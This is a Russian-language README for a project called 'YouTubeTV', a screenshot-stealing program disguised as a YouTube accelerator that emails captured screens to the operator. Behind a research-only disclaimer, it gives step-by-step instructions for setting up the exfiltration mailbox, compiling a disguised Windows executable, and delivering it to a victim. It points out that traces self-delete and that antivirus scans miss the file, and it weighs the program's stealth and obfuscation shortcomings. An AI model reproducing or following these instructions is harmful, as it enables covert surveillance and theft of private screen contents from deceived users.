YouTubeTV — программа, замаскированная под ускоритель YouTube, для автоматического создания снимков экрана и их отправки на Вашу электронную почту.
Программа создана исключительно в исследовательских целях кибербезопасности, а также для тестирования антивирусных программ. Автор не несёт ответственность за использование программ другими людьми, и (или) в каких-либо злоумышленных целях. Использование и (или) распространение данного программного обеспечения в злоумышленных целях определяет "УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ". Данное ПО не призвано обманывать людей и наживаться на их доверии, оно лишь показывает, что людям стоит осторожнее относиться к скачиванию и использованию средств для обхода блокировок, узнавать репутацию и пользоваться антивирусами для проверки (как своим, так и например "Virus Total", к сожалению показывающий, что это абсолютно не злоумышленный файл, но тут его можно понять). Недобросовестные корпорации, спецслужбы, и прочие недоброжелатели могут распространять средства обхода блокировок для получения доступа к компьютерам, информации и прочему, используя принцип легендирования: "Я - свой, доверяйте мне". Стоит отметить, что некоторые данные средства могут действительно помогать с обходом блокировок, и не быть злоумышленными по отношению к пользователям, или же помогать, но и собирать с Вас информацию.
Пример использования: https://youtu.be/LvG0S5V2dYA
- Скачайте из релиза (Releases: https://github.com/emelyagr/YouTubeTV/releases/tag/v1.0.0) файлы "default.env", "YouTubeTV.py" и "YouTubeTV.png". Исполняемого файла нет, т. к. он не подойдёт для Вашего пользования. Далее описана инструкция для создания исполняемого файла для Вас.
- В настройках учётной записи своей электронной почты, для получения снимков, установите разрешение на использование Внешними сервисами доступа к Почте по IMAP, POP, SMTP. Обычно данные настройки находятся в разделе Безопасности или подобных. Скорее всего сервис выдаст Вам пароль для Внешних подключений, но возможно и нет, в таком случае дальше понадобится пароль от самой учётной записи. Это необходимо проделать для того, чтобы снимок экрана дошёл до Вас с помощью автоматической авторизации на компьютере, которая выполнится кодом программы, взяв учётные данные пользователя из файла окружения "default.env".
- Запустите "YouTubeTV.py" в любой удобной для Вас среде разработки, можно даже в Блокноте. В участке кода "Основная функция" запишите Ваш ненужный (по возможности анонимный, без имён и фамилий) адрес электронной почты. В учатске кода "Функция для отправки письма с вложением" в строке "with smtplib.SMTP_SSL('smtp.mail.ru', 465) as smtp:" запишите SMTP-сервер сервиса Вашего почтового ящика (его можно легко узнать в Интернете). Сохраните файл.
- Запустите файл "default.env" в Блокноте и запишите Ваши учётные данные (логин и пароль) от Вашей электронной почты, указанной в пункте 2 (в основном коде программы). Переименуйте файл в "*.env". Сохраните файл.
- Установите (если ранее этого не делали) "Python" отсюда: https://www.python.org/downloads/windows/.
- Затем файлы "*.env" и "YouTubeTV.py" лучше поместить в корневую папку установленного "Python", как правило это "C:\Users\Имя пользователя системы\AppData\Local\Programs\Python\Python312".
- Запустите командную строку "Windows" ("cmd") и введите команду для установки библиотеки создания (компиляции) программ "pip install pyinstaller" (все команды вводятся без кавычек!).
- В командной строке "Windows" ("cmd") перейдите в директорию (папку) только что сохранённых файлов (проекта) командой "cd C:\Users\Имя пользователя системы\AppData\Local\Programs\Python\Python312".
- Перенесите файл "YouTubeTV.png" на Рабочий стол. В командной строке "Windows" ("cmd"), находясь в указанной ранее директории (папке), пропишите команду для создания программы: "pyinstaller -F -i "C:\Users\Имя пользователя системы\Desktop\YouTubeTV.png" YouTubeTV.py" (здесь путь до изображения прописывается в кавычках!). Если вдруг не создалась иконка, то переведите её в формат ".ico" здесь: https://convertio.co/ru/png-ico/ и попробуйте скомпилировать заново.
- Дождитесь длительного процесса создания файла. После "70706 INFO: Building EXE from EXE-00.toc completed successfully." программу формата ".exe" можно будет найти в "C:\Users\Имя пользователя системы\AppData\Local\Programs\Python\Python312\dist".
- Поместите файлы "*.env" и "YouTubeTV.exe" в одну директорию (папку), например на Рабочий стол. В противном случае, программа работать не будет, предупредив уведомлением об ошибке.
- Запустите "YouTubeTV.exe" и дождитесь длительной загрузки программы. В случае слов "YouTube ускорен!" снимок Вашего экрана будет создан, сохранён в этой же директории и отправлен на Вашу электронную почту в виде письма самому себе. Не забудьте о том, что Вы обязательно должны быть подключены к Интернету. Через некоторое время снимок экрана с данной директории самоуничтожится, для удаления следов компрометации и сохранения памяти для устройства. В случае ошибок пересмотрите пункты, начиная со 2, проверьте, верно ли введены данные в файле "YouTubeTV.py" (SMTP-сервер сервиса и Ваш адрес почты) и в "*.env" (данные авторизации).
- Таким образом, созданные файлы могут быть доставлены к атакуемой жертве, например, в корень диска, что делать категорически запрещено согласно "УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ": https://www.consultant.ru/document/cons_doc_LAW_10699/a4d58c1af8677d94b4fc8987c71b131f10476a76/.
Преимущества программы:
- Работоспособность.
- Минимальное заимствование сторонних библиотек.
- Наличие логов в замаскированном виде.
- Маскировка программы под ускоритель YouTube, что актуально в условиях его блокировки.
- Весь проект содержится в двух файлах форматов ".exe" и ".env", что позволяет легко его запускать и распространять.
- Учётные данные записаны в отдельном файле "*.env", чтобы данные авторизации не находились в основном коде программы.
- Простота, стиль и читабельность кода.
Недостатки программы:
- Очень длительная загрузка программы и возможные зависания компьютера.
- Отсутствие маскировки и запутывания (обфускации) вредоносного кода.
- Программа не работает в скрытом режиме, а только при запуске.
- Помимо доставки исполняемого файла также необходима доставка файла окружения "*.env", чтобы снимок экрана дошёл до Вас, что потребует дополнительных условностей перед атакуемой жертвой.
- В файле "*.env" должны находиться Ваши учётные данные, поэтому необходимо использование ненужной (по возможности анонимной, без имён и фамилий) электронной почты.
- Увидев содержимое файла "*.env" жертва может произвести злоумышленные действия по отношению к Вашему почтовому ящику, особенно если в графе пароля введён обычный пароль учётной записи, а не пароль Внешних подключений.
- Минимальная функциональность.
Отчёт о проверке программы на "Virus Total": https://www.virustotal.com/gui/file/179ac2602fa0b5c39d58639e1219db589223235013533fcaa9e2cd5186a8d826
(С) Емельянов Григорий Андреевич. Все права защищены. Использование (копирование, сбор, обработка, хранение, распространение, предоставление и другие действия, и иное воспроизведение в какой бы то ни было форме) любых материалов, статей, книг, курсов, программных кодов, программ и всех содержащихся материалов (и информации) без полного указания автора и источников и/или разрешения автора запрещено. Все работы защищены ЦВЗ (цифровым водяным знаком).